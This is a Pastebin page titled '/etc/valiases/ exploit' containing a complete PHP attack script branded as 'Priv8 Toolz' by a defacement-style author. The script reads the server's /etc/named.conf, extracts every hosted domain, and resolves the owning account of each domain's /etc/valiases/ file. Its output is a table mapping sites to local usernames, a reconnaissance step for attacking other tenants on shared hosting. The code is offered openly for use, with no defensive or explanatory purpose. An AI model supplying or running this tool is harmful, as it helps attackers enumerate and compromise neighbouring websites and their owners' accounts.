Advertisement
Kyfx

/etc/valiases/ exploit

May 21st, 2015
378
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.25 KB | None | 0 0
  1. <?
  2. echo "<title># sKy_DanqeR Site & K.Adı List..</title>
  3. <style>
  4. body,table{background: black; font-family:Verdana,tahoma; color: white; font-size:10px; }
  5. A:link {text-decoration: none;color: red;}
  6. A:active {text-decoration: none;color: red;}
  7. A:visited {text-decoration: none;color: red;}
  8. A:hover {text-decoration: underline; color: red;}
  9. #new,input,table,td,tr,#gg{text-align:center;border-style:solid;text-decoration:bold;}
  10. tr:hover,td:hover{text-align:center;background-color: #FFFFCC; color:green;}
  11. </style>
  12. <p align=center># Domains & K.Adı</p>
  13. <p align=center>Priv8 Toolz</p><center>";
  14.  
  15. $d0mains = @file("/etc/named.conf");
  16. if(!$d0mains){ die("<b># can't ReaD -> [ /etc/named.conf ]"); }
  17.  
  18. echo "<table align=center border=1>
  19. <tr bgcolor=green><td>d0mains</td><td>users</td></tr>";
  20.  
  21. foreach($d0mains as $d0main){
  22.  
  23. if(eregi("zone",$d0main)){
  24.  
  25. preg_match_all('#zone "(.*)"#', $d0main, $domains);
  26. flush();
  27.  
  28. if(strlen(trim($domains[1][0])) > 2){
  29.  
  30. $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
  31.  
  32. echo "<tr><td><a href=http://www.".$domains[1][0]."/>".$domains[1][0]."</a></td><td>".$user['name']."</td></tr>"; flush();
  33.  
  34. }}}
  35.  
  36. echo "</table>
  37. <p align='center'>
  38. (c)s4 .)</a><br>
  39. MaDe in Turkey..! (r)
  40. </p>
  41. ";
  42.  
  43. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement